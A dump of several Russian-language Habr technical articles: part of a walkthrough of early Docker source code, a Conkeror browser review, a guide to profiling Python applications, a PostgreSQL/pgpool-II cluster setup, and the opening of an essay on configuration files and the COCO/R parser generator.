return nil, nil
}
func (store *TagStore) GetImage(repoName, tag string) (*Image, error) {
repo, err := store.Get(repoName)
if err != nil {
return nil, err
} else if repo == nil {
return nil, nil
}
if revision, exists := repo[tag]; exists {
return store.graph.Get(revision)
}
return nil, nil
}
// Validate the name of a repository
func validateRepoName(name string) error {
if name == "" {
return fmt.Errorf("Repository name can't be empty")
}
if strings.Contains(name, ":") {
return fmt.Errorf("Illegal repository name: %s", name)
}
return nil
}
// Validate the name of a tag
func validateTagName(name string) error {
if name == "" {
return fmt.Errorf("Tag name can't be empty")
}
if strings.Contains(name, "/") || strings.Contains(name, ":") {
return fmt.Errorf("Illegal tag name: %s", name)
}
return nil
}
```
### Управление контейнерами
#### Run
Создает и запускает контейнер на основе заданного образа:
CmdRun
```
func (srv *Server) CmdRun(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
config, err := ParseRun(args)
if err != nil {
return err
}
if config.Image == "" {
return fmt.Errorf("Image not specified")
}
if len(config.Cmd) == 0 {
return fmt.Errorf("Command not specified")
}
// Create new container
container, err := srv.runtime.Create(config)
if err != nil {
return errors.New("Error creating container: " + err.Error())
}
if config.OpenStdin {
cmd_stdin, err := container.StdinPipe()
if err != nil {
return err
}
if !config.Detach {
Go(func() error {
_, err := io.Copy(cmd_stdin, stdin)
cmd_stdin.Close()
return err
})
}
}
// Run the container
if !config.Detach {
cmd_stderr, err := container.StderrPipe()
if err != nil {
return err
}
cmd_stdout, err := container.StdoutPipe()
if err != nil {
return err
}
if err := container.Start(); err != nil {
return err
}
sending_stdout := Go(func() error {
_, err := io.Copy(stdout, cmd_stdout)
return err
})
sending_stderr := Go(func() error {
_, err := io.Copy(stdout, cmd_stderr)
return err
})
err_sending_stdout := <-sending_stdout
err_sending_stderr := <-sending_stderr
if err_sending_stdout != nil {
return err_sending_stdout
}
if err_sending_stderr != nil {
return err_sending_stderr
}
container.Wait()
} else {
if err := container.Start(); err != nil {
return err
}
fmt.Fprintln(stdout, container.Id)
}
return nil
}
```
В начале функция ParseRun производит разбор параметров и инициализацию структуры Config:
ParseRun
```
func ParseRun(args []string) (*Config, error) {
cmd := flag.NewFlagSet("", flag.ContinueOnError)
cmd.SetOutput(ioutil.Discard)
fl_user := cmd.String("u", "", "Username or UID")
fl_detach := cmd.Bool("d", false, "Detached mode: leave the container running in the background")
fl_stdin := cmd.Bool("i", false, "Keep stdin open even if not attached")
fl_tty := cmd.Bool("t", false, "Allocate a pseudo-tty")
fl_memory := cmd.Int64("m", 0, "Memory limit (in bytes)")
var fl_ports ports
cmd.Var(&fl_ports, "p", "Map a network port to the container")
var fl_env ListOpts
cmd.Var(&fl_env, "e", "Set environment variables")
if err := cmd.Parse(args); err != nil {
return nil, err
}
config := &Config{
Ports: fl_ports,
User: *fl_user,
Tty: *fl_tty,
OpenStdin: *fl_stdin,
Memory: *fl_memory,
Detach: *fl_detach,
Env: fl_env,
Cmd: cmd.Args()[1:],
Image: cmd.Arg(0),
}
return config, nil
}
```
На основании Config функция runtime.Create создает и возвращает новый контейнер, после чего при помощи пайпов и каналов перенаправляет потоки stdin, stdout, stderr, а затем запускает созданный контейнер методом container.Start.
runtime.Create
```
func (runtime *Runtime) Create(config *Config) (*Container, error) {
// Lookup image
img, err := runtime.repositories.LookupImage(config.Image)
if err != nil {
return nil, err
}
container := &Container{
// FIXME: we should generate the ID here instead of receiving it as an argument
Id: GenerateId(),
Created: time.Now(),
Path: config.Cmd[0],
Args: config.Cmd[1:], //FIXME: de-duplicate from config
Config: config,
Image: img.Id, // Always use the resolved image id
NetworkSettings: &NetworkSettings{},
// FIXME: do we need to store this in the container?
SysInitPath: sysInitPath,
}
container.root = runtime.containerRoot(container.Id)
// Step 1: create the container directory.
// This doubles as a barrier to avoid race conditions.
if err := os.Mkdir(container.root, 0700); err != nil {
return nil, err
}
// Step 2: save the container json
if err := container.ToDisk(); err != nil {
return nil, err
}
// Step 3: register the container
if err := runtime.Register(container); err != nil {
return nil, err
}
return container, nil
}
```
Здесь происходит инициализация структуры Container, создание рабочей директории контейнера и экспорт структуры в json формате. Завершает это вызов метода runtime.Register, код которого мы разбирали в прошлой статье. Функция GenerateId была рассмотрена ранее в разделе по команде import. Теперь перейдем к методу container.Start:
container.Start
```
func (container *Container) Start() error {
if err := container.EnsureMounted(); err != nil {
return err
}
if err := container.allocateNetwork(); err != nil {
return err
}
if err := container.generateLXCConfig(); err != nil {
return err
}
params := []string{
"-n", container.Id,
"-f", container.lxcConfigPath(),
"--",
"/sbin/init",
}
// Networking
params = append(params, "-g", container.network.Gateway.String())
// User
if container.Config.User != "" {
params = append(params, "-u", container.Config.User)
}
// Program
params = append(params, "--", container.Path)
params = append(params, container.Args...)
container.cmd = exec.Command("/usr/bin/lxc-start", params...)
// Setup environment
container.cmd.Env = append(
[]string{
"HOME=/",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
},
container.Config.Env...,
)
var err error
if container.Config.Tty {
err = container.startPty()
} else {
err = container.start()
}
if err != nil {
return err
}
// FIXME: save state on disk *first*, then converge
// this way disk state is used as a journal, eg. we can restore after crash etc.
container.State.setRunning(container.cmd.Process.Pid)
container.ToDisk()
go container.monitor()
return nil
}
```
Основная логика его работы практически не изменилась со времен первого коммита, который мы разбирали в [первой статье](https://habr.com/ru/post/573828/). Изменения коснулись части отвечающей за монтирование файловой системы, а также был добавлен код для сетевого стека и новый метод запуска процесса в контейнере. Разберем все по порядку, начиная с монтирования файловой системы:
EnsureMounted
```
func (container *Container) EnsureMounted() error {
if mounted, err := container.Mounted(); err != nil {
return err
} else if mounted {
return nil
}
return container.Mount()
}
func (container *Container) Mounted() (bool, error) {
return Mounted(container.RootfsPath())
}
func Mounted(mountpoint string) (bool, error) {
mntpoint, err := os.Stat(mountpoint)
if err != nil {
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
parent, err := os.Stat(filepath.Join(mountpoint, ".."))
if err != nil {
return false, err
}
mntpointSt := mntpoint.Sys().(*syscall.Stat_t)
parentSt := parent.Sys().(*syscall.Stat_t)
return mntpointSt.Dev != parentSt.Dev, nil
}
```
Метод container.EnsureMounted проверяет была ли смонтирована файловая система, в противном случае - выполняет монтирование вызовом container.Mount():
container.Mount
```
func (container *Container) Mount() error {
image, err := container.GetImage()
if err != nil {
return err
}
return image.Mount(container.RootfsPath(), container.rwPath())
}
func (image *Image) Mount(root, rw string) error {
if mounted, err := Mounted(root); err != nil {
return err
} else if mounted {
return fmt.Errorf("%s is already mounted", root)
}
layers, err := image.layers()
if err != nil {
return err
}
// Create the target directories if they don't exist
if err := os.Mkdir(root, 0755); err != nil && !os.IsExist(err) {
return err
}
if err := os.Mkdir(rw, 0755); err != nil && !os.IsExist(err) {
return err
}
// FIXME: @creack shouldn't we do this after going over changes?
if err := MountAUFS(layers, rw, root); err != nil {
return err
}
// FIXME: Create tests for deletion
// FIXME: move this part to change.go
// Retrieve the changeset from the parent and apply it to the container
// - Retrieve the changes
changes, err := Changes(layers, layers[0])
if err != nil {
return err
}
// Iterate on changes
for _, c := range changes {
// If there is a delete
if c.Kind == ChangeDelete {
// Make sure the directory exists
file_path, file_name := path.Dir(c.Path), path.Base(c.Path)
if err := os.MkdirAll(path.Join(rw, file_path), 0755); err != nil {
return err
}
// And create the whiteout (we just need to create empty file, discard the return)
if _, err := os.Create(path.Join(path.Join(rw, file_path),
".wh."+path.Base(file_name))); err != nil {
return err
}
}
}
return nil
}
```
Подготовка параметров для монтирования производится функцией MountAUFS, логика которой аналогична первой версии, только теперь вместо утилиты mount монтирование производится системным вызовом:
MountAUFS
```
func MountAUFS(ro []string, rw string, target string) error {
// FIXME: Now mount the layers
rwBranch := fmt.Sprintf("%v=rw", rw)
roBranches := ""
for _, layer := range ro {
roBranches += fmt.Sprintf("%v=ro:", layer)
}
branches := fmt.Sprintf("br:%v:%v", rwBranch, roBranches)
return mount("none", target, "aufs", 0, branches)
}
func mount(source string, target string, fstype string, flags uintptr, data string) (err error) {
return syscall.Mount(source, target, fstype, flags, data)
}
```
После монтирования функция получает изменения файловой системы с помощью команды Changes и производит создание файлов c .wh. префиксом в папке rw, если они были удалены в верхнем слое. Алгоритм работы этой функции будет рассмотрен в разделе команды Diff, вычисляющей изменения в файловой системе. Теперь перейдем к инициализации сети вызовом container.allocateNetwork:
container.allocateNetwork
```
func (container *Container) allocateNetwork() error {
iface, err := container.runtime.networkManager.Allocate()
if err != nil {
return err
}
container.NetworkSettings.PortMapping = make(map[string]string)
for _, port := range container.Config.Ports {
if extPort, err := iface.AllocatePort(port); err != nil {
iface.Release()
return err
} else {
container.NetworkSettings.PortMapping[strconv.Itoa(port)] = strconv.Itoa(extPort)
}
}
container.network = iface
container.NetworkSettings.IpAddress = iface.IPNet.IP.String()
container.NetworkSettings.IpPrefixLen, _ = iface.IPNet.Mask.Size()
container.NetworkSettings.Gateway = iface.Gateway.String()
return nil
}
```
В нем происходит настройка сетевого интерфейса, присвоение ip адреса, маски и шлюза, а также проброс портов. Я подробно разберу весь этот функционал ниже, в отдельной части по работе с сетевым стеком. Далее идет вызов метода generateLXCConfig. Он был подробно разобран в первой статье и остался практически без изменений. Стоит лишь отметить, что теперь в lxc\_template.go добавлены настройки сети, монтирование /etc/resolv.conf для работы dns и, главное, монтирование исполняемого файла docker в точку /sbin/init, так как теперь выполнение процесса будет начинаться с него. Я уже обращал на это внимание в [части 2.1](https://habr.com/ru/post/574750/). Ниже приведены изменения в lxc\_template:
lxc\_template.go
```
# network configuration
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = lxcbr0
lxc.network.name = eth0
lxc.network.mtu = 1500
lxc.network.ipv4 = {{.NetworkSettings.IpAddress}}/{{.NetworkSettings.IpPrefixLen}}
# Inject docker-init
lxc.mount.entry = {{.SysInitPath}} {{$ROOTFS}}/sbin/init none bind,ro 0 0
# In order to get a working DNS environment, mount bind (ro) the host's /etc/resolv.conf into the container
lxc.mount.entry = /etc/resolv.conf {{$ROOTFS}}/etc/resolv.conf none bind,ro 0 0
```
Теперь осталось разобрать файл sysinit.go, с которого стартует созданный lxc контейнер:
sysinit.go
```
// Setup networking
func setupNetworking(gw string) {
if gw == "" {
return
}
cmd := exec.Command("/sbin/route", "add", "default", "gw", gw)
if err := cmd.Run(); err != nil {
log.Fatalf("Unable to set up networking: %v", err)
}
}
// Takes care of dropping privileges to the desired user
func changeUser(u string) {
if u == "" {
return
}
userent, err := user.LookupId(u)
if err != nil {
userent, err = user.Lookup(u)
}
if err != nil {
log.Fatalf("Unable to find user %v: %v", u, err)
}
uid, err := strconv.Atoi(userent.Uid)
if err != nil {
log.Fatalf("Invalid uid: %v", userent.Uid)
}
gid, err := strconv.Atoi(userent.Gid)
if err != nil {
log.Fatalf("Invalid gid: %v", userent.Gid)
}
if err := syscall.Setgid(gid); err != nil {
log.Fatalf("setgid failed: %v", err)
}
if err := syscall.Setuid(uid); err != nil {
log.Fatalf("setuid failed: %v", err)
}
}
func executeProgram(name string, args []string) {
path, err := exec.LookPath(name)
if err != nil {
log.Printf("Unable to locate %v", name)
os.Exit(127)
}
if err := syscall.Exec(path, args, os.Environ()); err != nil {
panic(err)
}
}
// Sys Init code
// This code is run INSIDE the container and is responsible for setting
// up the environment before running the actual process
func SysInit() {
if len(os.Args) <= 1 {
fmt.Println("You should not invoke docker-init manually")
os.Exit(1)
}
var u = flag.String("u", "", "username or uid")
var gw = flag.String("g", "", "gateway address")
flag.Parse()
setupNetworking(*gw)
changeUser(*u)
executeProgram(flag.Arg(0), flag.Args())
}
```
Как видим, в SysInit происходит настройка окружения перед запуском процесса. Добавление default gateway в таблицу маршрутизации, настройка пользователя и группы, под которыми будет выполняться процесс, и собственно запуск процесса стандартным методом Exec.
После запуска процесса в методе Start идет перенаправление стандартных потоков и запуск горутины container.monitor, работу которой мы разбирали в [первой статье](https://habr.com/ru/post/573828/). Можно лишь добавить, что теперь в ней происходит освобождение назначенного ip адреса, проброшенных портов и размонтирование файловой системы.
container.monitor
```
func (container *Container) monitor() {
// Wait for the program to exit
container.cmd.Wait()
exitCode := container.cmd.ProcessState.Sys().(syscall.WaitStatus).ExitStatus()
// Cleanup
if err := container.releaseNetwork(); err != nil {
log.Printf("%v: Failed to release network: %v", container.Id, err)
}
container.stdout.Close()
container.stderr.Close()
if err := container.Unmount(); err != nil {
log.Printf("%v: Failed to umount filesystem: %v", container.Id, err)
}
// Re-create a brand new stdin pipe once the container exited
if container.Config.OpenStdin {
container.stdin, container.stdinPipe = io.Pipe()
}
// Report status back
container.State.setStopped(exitCode)
container.ToDisk()
}
func (container *Container) releaseNetwork() error {
err := container.network.Release()
container.network = nil
container.NetworkSettings = &NetworkSettings{}
return err
}
func (container *Container) Unmount() error {
return Unmount(container.RootfsPath())
}
func Unmount(target string) error {
if err := syscall.Unmount(target, 0); err != nil {
return err
}
// Even though we just unmounted the filesystem, AUFS will prevent deleting the mntpoint
// for some time. We'll just keep retrying until it succeeds.
for retries := 0; retries < 1000; retries++ {
err := os.Remove(target)
if err == nil {
// rm mntpoint succeeded
return nil
}
if os.IsNotExist(err) {
// mntpoint doesn't exist anymore. Success.
return nil
}
// fmt.Printf("(%v) Remove %v returned: %v\n", retries, target, err)
time.Sleep(10 * time.Millisecond)
}
return fmt.Errorf("Umount: Failed to umount %v", target)
}
```
### Неожиданное завершение
Ввиду того, что редактор хабра начал сильно тормозить, а местами и полностью зависать (видимо сказывается большое количество снипетов кода), я вынужден завершить эту часть, но продолжу в [следующей](https://habr.com/ru/post/575296/), прямо с этого места. | https://habr.com/ru/post/575256/ | null | ru | null |
# Conkeror — браузер для понимающих
Я думаю, что большое количество людей слышали, видели, а то и сами пробовали
расширения для Файрфокса, которые облегчают работу с ним с клавиатуры:
[Hit-o-hint](http://hah.mozdev.org/), [Firemacs](http://firemacs.mozdev.org/), [Vimperator](http://vimperator.mozdev.org/). Я как-то пытался пользоваться
каждым из них, но у них было одно общее свойство — я ни к одному не смог
привыкнуть. :) А вот [Conkeror](http://conkeror.mozdev.org/) оказался совсем другим делом — я пользуюсь уже
второй день и, несмотря на недостатки, очень доволен.
Самое его большое отличие от первых трёх — то, что три первых — это расширения
для Файрфокса, которые дополняют его интерфейс, а Конкерор — это совершенно
отдельный браузер. Текущая стабильная версия, вышедшая в октябре, основана на
втором Фоксе и просто заменяет его интерфейс своим. Текущая, из ветки
experimental-buffers (довольно активно развивающаяся), работает как совершенно
отдельный продукт на основе беты XULRunner 1.9.
Недостаток такого подхода, несмотря на свою одинокость в окружении сплошных
плюсов, очень большой — просто так, без дополнительных усилий, расширения
Файрфокса не работают. Лично для меня это означает отказ от Firebug’а и webdev
toolbar’а, к чему я, логично, не готов. :( Общение с разработчиками на эту тему
особенно радужных известий не принесло — основной проблемой портирования
является привязка расширений к интерфейсу лисы. Ну и отсутствие примеров, но я
пока полон оптимизма и верю, что это всё можно перебороть. :)
В активе положительных фич — очень быстрый запуск (не 5 секунд молочения процов
на полную, а легко и ненапряжно меньше секунды), и удобное — на порядок лучше,
чем у первых трёх — управление с клавиатуры.
К примеру, основное действие — переход по ссылке — это просто нажатие на `f`
(follow), после чего все ссылки нумеруются. Но вместо того, чтоб на
перегруженных ссылками сайтах набирать числа 74 или 124, можно нажать несколько
букв из текста ссылки, что их отфильтрует — и будут пронумерованы только
отфильтрованные ссылки. Точно так же происходит копирование адреса и сохранение
ссылки, надо только нажать `c` или `s`. Чтоб вместо перехода — копирования — сохранения ссылки сделать то же с другим объектом, перед соотвествующей клавише
нужно нажать модификатор — `i` для картинки, `f` для фрейма, `* M` для модулей MathML.
Опять же, существует хоткей `C-u`, знакомый по емаксу — модификатор. `g` — спрашивает адрес и переходит по нему, `C-u g` — открывает для этого новый
буфер. `C-n` — спускается вниз на строку, `C-u C-n` — на 4 строки, `C-u 30 C-n`
— на 30 строк. И так далее.
Отлично сделан переход между буферами (читай — табами в обычном файрфоксовом
сленге, хотя табы здесь отсутствуют): `C-x b` — и выпадает список открытых
урлов, который фильтруется, дополняется табом, поддерживает выбор курсорами.
Из интересных вещей — присутствуют хоткеи `[[` и `]]`, которые реагируют на
ссылки (или элементы `link`) с атрибутами `rel="prev"` и `rel="next"`
соответственно. Я про такую штуку в HTML вообще в первый раз услышал, под
влиянием сразу пошёл и добавил эти атрибуты на главную страницу блога для
перехода на странички с предыдущими/следующими постами. :-)
Из анноящих вещей в текущей версии — отсутствие истории открытых урлов, и
возврат после закрытия любого буфера на первый, а не на предыдущий. Думаю, что
как минимум второе — легко поправить. :)
Вообще, авторы полны решимости сделать аналог Емакса в мире браузеров — не столько управляемый с клавиатуры, сколько поддающийся скриптованию и вообще браузер, ориентированный на продвинутых пользователей.
P.S. Кстати, отличная штука — возможность в textarea нажать `C-i` и редактировать
текст во внешнем редакторе. Что я сейчас и делаю, редактируя его в Емаксе. :-)
Ну и напоследок — [скриншот](http://habrahabr.ru/pictures/00/00/04/11/33/picture_1.png). Хотя аскетичный, конечно, но на всякий случай… | https://habr.com/ru/post/19010/ | null | ru | null |
# Профилирование python приложений
Краткая заметка с линками и примерами о профайлинге:
1. производительности: [hotshot](http://docs.python.org/library/hotshot.html) или python profile/cProfile + визуализатор логов [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html) (есть [порт под windows](http://sourceforge.net/projects/precompiledbin/), аналог [WinCacheGrind](http://sourceforge.net/projects/wincachegrind/))
2. использование памяти: [dowser](http://www.aminus.net/wiki/Dowser) с web-интерфейсом
#### производительность
1. собираем статистику профайлером, варианты:
* пример 1, с помощью быстрого hotshot (который может стать deprecated):
````
import hotshot
prof = hotshot.Profile("your_project.prof")
prof.start()
# your code goes here
prof.stop()
prof.close()
````
конвертируем формат логов с помощью утилиты из пакета *kcachegrind-converters*:
````
hotshot2calltree your_project.prof > your_project.out
````
* пример 2, с помощью стандартного profile/cProfile:
````
python -m cProfile -o your_project.pyprof your_project.py
````
конвертируем формат логов с помощью [pyprof2calltree](http://pypi.python.org/pypi/pyprof2calltree/):
````
pyprof2calltree -i your_project.pyprof -o your_project.out
````
(с опцией -k он сразу запустит kcachegrind и промежуточного файла создавать не нужно)
2. открываем и изучаем лог в визуализаторе [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
Впервые пришлось пользоваться для профалинга Django приложений, когда в чужом коде ловил хитрый рекурсивный импорт. Тогда использовал [существующий хендлер для mod\_python](http://www.rkblog.rk.edu.pl/w/p/django-profiling-hotshot-and-kcachegrind/), но так как последний уже не популярен, давно появились [альтернативные методы подключения](http://code.djangoproject.com/wiki/ProfilingDjango) и даже [модули для профилирования](http://code.google.com/p/django-profile/) (последний не использовал).
#### память
К сожалению еще не знаю средств чтобы было так же просто и приятно. Рыться в дебагере не хотелось, остался недоволен [Guppy](http://guppy-pe.sourceforge.net/) — он силен, но сложен — так часто профилировать к счастью не приходится. [Objgraph](http://mg.pov.lt/objgraph/) тоже не предоставляет возможности легкой навигации вне [дебаг-оболочки](http://www.lshift.net/blog/2008/11/14/tracing-python-memory-leaks).
Мой выбор сейчас, это [dowser](http://www.aminus.net/wiki/Dowser), приложение с интерфейсом на CherryPy. С ним все проще, хоть и не настолько гибко:
1. создаем контроллер, по сути CherryPy 3 приложение:
````
# memdebug.py
import cherrypy
import dowser
def start(port):
cherrypy.tree.mount(dowser.Root())
cherrypy.config.update({
'environment': 'embedded',
'server.socket_port': port
})
cherrypy.engine.start()
````
2. подключаем к своему приложению:
````
import memdebug
memdebug.start(8080)
# your code goes here
````
3. идем в браузер и просматриваем статистику (игнорируем объекты CherryPy, других библиотек — ищем только наши)
````
http://localhost:8080/
````
Функционал аскетичен, немного придется покликать и разобраться, но его вполне хватает для поиска проблем. Нет необходимости изучать и запоминать API дебагера. Внимание, на некоторых операциях как «Show the entire tree», может затребовать неймоверное количество памяти для больших приложений.
4. приложение само не закроется. После изучения прерываем Ctrl+Z и убиваем
О каких методах и средствах профилирования еще стоит узнать? | https://habr.com/ru/post/110537/ | null | ru | null |
# PostgreSQL 9.3 + Pgpool-II
Решил поделиться с вами опытом настройки кластера PostgreSQL 9.3, состоящего из двух нод, управлением которого занимается pgpool-II, без использования Stream Replication (WAL). Надеюсь, кому-нибудь будет интересно.
Схема:
Как Вы понимаете, это будут два отдельно стоящих сервера, которыми будет управлять pgpool-II.
Конфигурация нод с PostgreSQL:
Оба сервера идентичны по своим аппаратным составляющим.
* 4vCPU;
* 16 Гб памяти;
* CentOS 6.5;
Диски:
* 50 Гб — система;
* 100 Гб — pg\_xlog
* 500 Гб — каталог с данными
Пример,
```
Filesystem Size Used Avail Use% Mounted on
/dev/sda3 48G 7.4G 38G 17% /
tmpfs 7.8G 0 7.8G 0% /dev/shm
/dev/sda1 194M 28M 157M 15% /boot
/dev/sdb1 99G 4.9G 89G 6% /var/lib/pgsql/9.3/data/pg_xlog
/dev/sdc1 493G 234G 234G 50% /var/lib/pgsql/9.3/my_data
```
Конфигурация нод с pgpool-II:
* 4vCPU;
* 8 Гб памяти;
* CentOS 6.5;
Диски:
* 50 Гб — система;
Про установку PostgreSQL в детали вдаваться не буду, так как она стандартная.
Настройка pgpool-II.
За основу настройки pgpool-II, взял инструкцию с официального сайта: [www.pgpool.net/pgpool-web/contrib\_docs/simple\_sr\_setting2\_3.3/index.html](http://www.pgpool.net/pgpool-web/contrib_docs/simple_sr_setting2_3.3/index.html)
Хотел бы обратить внимание только самые важные моменты:
```
#------------------------------------------------------------------------------
# CONNECTIONS
#------------------------------------------------------------------------------
# - pgpool Connection Settings -
listen_addresses = '*'
port = 9999
socket_dir = '/tmp'
pcp_port = 9898
pcp_socket_dir = '/tmp'
# - Authentication -
enable_pool_hba = off
pool_passwd = ''
log_destination = 'syslog'
#------------------------------------------------------------------------------
# REPLICATION MODE (Говорим pgpool, что все полученные запросы надо транслировать на все ноды кластера)
#------------------------------------------------------------------------------
replication_mode = on
replicate_select = on
insert_lock = on
lobj_lock_table = ''
replication_stop_on_mismatch = off
failover_if_affected_tuples_mismatch = off
#------------------------------------------------------------------------------
# LOAD BALANCING MODE (Говорим pgpool, что все запросы SELECT отправлять на все узлы кластера)
#------------------------------------------------------------------------------
load_balance_mode = on
ignore_leading_white_space = on
white_function_list = ''
black_function_list = 'nextval,setval'
follow_master_command = '/etc/pgpool-II/failover.sh %d "%h" %p %D %m %M "%H" %P'
#------------------------------------------------------------------------------
# FAILOVER AND FAILBACK
#------------------------------------------------------------------------------
failover_command = '/etc/pgpool-II/failover.sh %d %P %H %R'
failback_command = ''
fail_over_on_backend_error = on
search_primary_node_timeout = 10
#------------------------------------------------------------------------------
# ONLINE RECOVERY (В данном случае, онлайн восстановление, в терминах pgpool, означает вернуть узел в кластер pgpool. Если одна из нод упадет и пролежит долгое время, то догонать эту ноду до актуальных данных придется в ручную)
#------------------------------------------------------------------------------
recovery_user = 'postgres'
recovery_password = ''
recovery_1st_stage_command = 'basebackup.sh'
recovery_2nd_stage_command = ''
recovery_timeout = 90
client_idle_limit_in_recovery = 0
#------------------------------------------------------------------------------
# WATCHDOG
#------------------------------------------------------------------------------
# - Enabling -
use_watchdog = off
trusted_servers = 'IP-адрес-pgpool-хоста'
ping_path = '/bin'
wd_hostname = 'VRRIP IP. Единый вход при использовании watchdog'
wd_port = 9000
wd_authkey = ''
delegate_IP = 'VRRIP'
ifconfig_path = '/home/apache/sbin'
if_up_cmd = 'ifconfig eth0:0 inet $_IP_$ netmask 255.255.255.0'
if_down_cmd = 'ifconfig eth0:0 down'
arping_path = '/home/apache/sbin'
arping_cmd = 'arping -U $_IP_$ -w 1'
clear_memqcache_on_escalation = on
wd_escalation_command = ''
wd_lifecheck_method = 'heartbeat'
wd_interval = 10
wd_heartbeat_port = 9694
wd_heartbeat_keepalive = 2
wd_heartbeat_deadtime = 30
wd_life_point = 3
wd_lifecheck_query = 'SELECT 1'
wd_lifecheck_dbname = 'template1'
wd_lifecheck_user = 'nobody'
wd_lifecheck_password = ''
ssl_key = ''
ssl_cert = ''
ssl_ca_cert = ''
ssl_ca_cert_dir = ''
listen_backlog_multiplier = 2
log_line_prefix = ''
log_error_verbosity = 'DEFAULT'
client_min_messages = 'notice'
log_min_messages = 'warning'
database_redirect_preference_list = ''
app_name_redirect_preference_list = ''
allow_sql_comments = off
connect_timeout = 10000
check_unlogged_table = off
backend_hostname0 = 'Имя первой ноды'
backend_port0 = 5432
backend_weight0 = 1
backend_data_directory0 = '/var/lib/pgsql/9.3/data'
backend_flag0= 'ALLOW_TO_FAILOVER'
backend_hostname1 = 'Имя второй ноды'
backend_port1 = 5432
backend_weight1 = 1
backend_data_directory1 = '/var/lib/pgsql/9.3/data'
backend_flag1= 'ALLOW_TO_FAILOVER'
other_pgpool_hostname0 = ''
other_pgpool_port0 =
other_wd_port0 =
heartbeat_destination0 = ''
heartbeat_destination_port0 =
heartbeat_device0 = ''
```
После настройки конфигурационного файла, запускаем службу pgpool. Можно также настроить pgpooladmin для мониторинга состояния нод.
Я это делал по инструкции отсюда:
[www.pgpool.net/docs/pgpoolAdmin/en/install.html](http://www.pgpool.net/docs/pgpoolAdmin/en/install.html)
Также статус нод с PostgreSQL можно посмотреть, выполнив команду на pgpool:
```
pcp_node_info 10 "имя pgpool-ноды" 9898 postgres postgres 0
pcp_node_info 10 "имя pgpool-ноды" 9898 postgres postgres 1
```
Далее, проверяем работу нашей схемы — создаем пустую БД через pgpool. Сделать это можно двумя способами:
1) через pgadmin, подключившись к IP-адресу pgpool-II;
2) выполнив команду на ноде с pgpool: createdb -p 9999 bench\_replication
**Минусы:**
* Синхронная репликация
* В случае выхода из строя одной из нод, над ее возвращением придется попотеть
* Достаточно мало, где используется такая архитектура
* Блокировка таблица
**Плюсы:**
* Логическая репликация, не уходит на уровень СУБД, снижая на нее нагрузку
* Балансировка нагрузки
* Кеширование запросов
* Объединение соединений
За основу взята инструкция по ссылке: [www.pgpool.net/pgpool-web/contrib\_docs/simple\_sr\_setting2\_3.3/index.html](http://www.pgpool.net/pgpool-web/contrib_docs/simple_sr_setting2_3.3/index.html) | https://habr.com/ru/post/263225/ | null | ru | null |
# Философия, или когда буквы были зелёными
Раньше всё было лучше: компьютеры были большими, а буквы на экране — зелёными. Тогда они ещё назывались ЭВМ, а инженеры ходили по машинному залу в белых халатах. В те благословенные времена никто не заморачивался на тему user friendly-интерфейсов, а просто требовали от пользователя подготовить колоду перфокарт в соответствии с определённым форматом. Подготовил неверно — сам виноват. Это кажется не очень удобным и вовсе не «интуитивно понятным», но данный спартанский подход позволял обсчитывать весьма серьёзные задачи вроде моделирования ядерных реакций или расчёт полётного задания для космических ракет. И всё это при ресурсах, на два-три порядка меньших, чем почти любой современный смартфон.
Шло время, и перфокарты с магнитными барабанами канули в лету, в угоду пользователю стали доминировать программы с развитым GUI. Это стало подаваться как технический прогресс и забота об удобстве пользователе. А всегда ли это хорошо? А всегда ли это удобнее обычного текстового конфигурационного файла? Что-нибудь такое удобно воспринимать?
Не особо… Вложенность настроечных окон более 2-х уровней, в каждом из которых десятка по два-три «пумпочек» — это удобно? А если вы — администратор, и вам надо растиражировать это чудо инженерной мысли на две сотни рабочих мест со всеми настройками? Ох… как же хорошо было раньше, когда просто можно было положить рядом конфигурационный файл.
Действительно, тестовый конфигурационный файл обладает массой достоинств, и он нисколько не устарел:
• не нужно писать весьма трудоёмкое GUI для настройки ПО;
• легко тиражируется вместе с ПО;
• легко создавать программно, если он велик;
• если конфигурационный файл использует принцип необязательных параметров, его можно сделать более читаемым, чем множество форм с десятками элементов управления.
У конфигурационного файла есть лишь одна серьёзная проблема: если делать синтаксис понятным и читаемым, то парсер представляет собой довольно трудоёмкое изделие. Отдельные индивиды могут возразить, что на свете есть XML, для которого всё давно готово, но я бы не назвал XML хорошо читаемым и удобным форматом. Поборникам этого подхода я бы пожелал поработать с большими таблицами XML в полевых условиях, имея под рукой лишь редактор vi. Уверен, что это отрезвит сторонников XML.
Очень удобно работать с конфигурационным файлом, синтаксис которого максимально приближен к прикладной задаче. В этом случае лучший вариант — создавать парсер, используя генератор парсеров, например один из перечисленных в [этом списке](https://en.wikipedia.org/wiki/Comparison_of_parser_generators).
Из всего многообразия своей простотой и доступностью отличается генератор COCO/R, созданный в университете города Линц, что в Верхней Австрии. Я выделил его исходя из следующих соображений:
• на нём можно создавать парсеры для C, C++, C#, F#, Java, Ada, всех видов Pascal, Modula, Ruby и нескольких других языков;
• лексемы и действия с ними описываются в одном файле, который легко читать;
• его можно собрать и использовать на любой платформе;
• его можно интегрировать в Visual Studio (мелочь, а приятно).
Не буду вдаваться в особенности использования COCO/R, т. к. об этом прекрасно написано в его документации, а сразу перейду к практическому примеру.
Мы создаём парсер для построения таблицы маршрутизации абстрактной сети в составе нескольких маршрутизаторов и нескольких оконечных устройств. Общий вид конфигурационного файла удобно представить следующим образом (при этом мы никак не ограничены количеством маршрутизаторов, количеством портов на них и количеством оконечных устройств):
```
// конфигурация при подключении к 1102
DEVICE ID=(18,0) DI=0x03740038 NAME="sw1102" UMASK=0666 CAPS={MN}
{
PORT = 7 PW=X1 LS=G25 ID={ 0 }, // хост
PORT = 9 PW=X4 LS=G3125 ID={ 8 }, // измеритель
PORT = 10 PW=X4 LS=G25 ID={ 16 } // второй блок
};
DEVICE ID=(0,1) DI=0x04000003 NAME="host" UMASK=0444 CAPS={ MN,MB0, DB,DIO };
DEVICE ID=(8,1) NAME="meter" UMASK=0444 CAPS={ MN,MB0,MB1,MB2,MB3,DB,DIO };
DEVICE ID=(16,1) DI=0x03780038 NAME="sw1101" UMASK=0444 CAPS={ MN }
{
PORT = 12 PW=X1 LS=G25 ID={ 0, 8, 18 } // хост, измеритель, первый блок
};
```
Теперь строим описатель синтаксиса для парсера (строим парсер для C++):
```
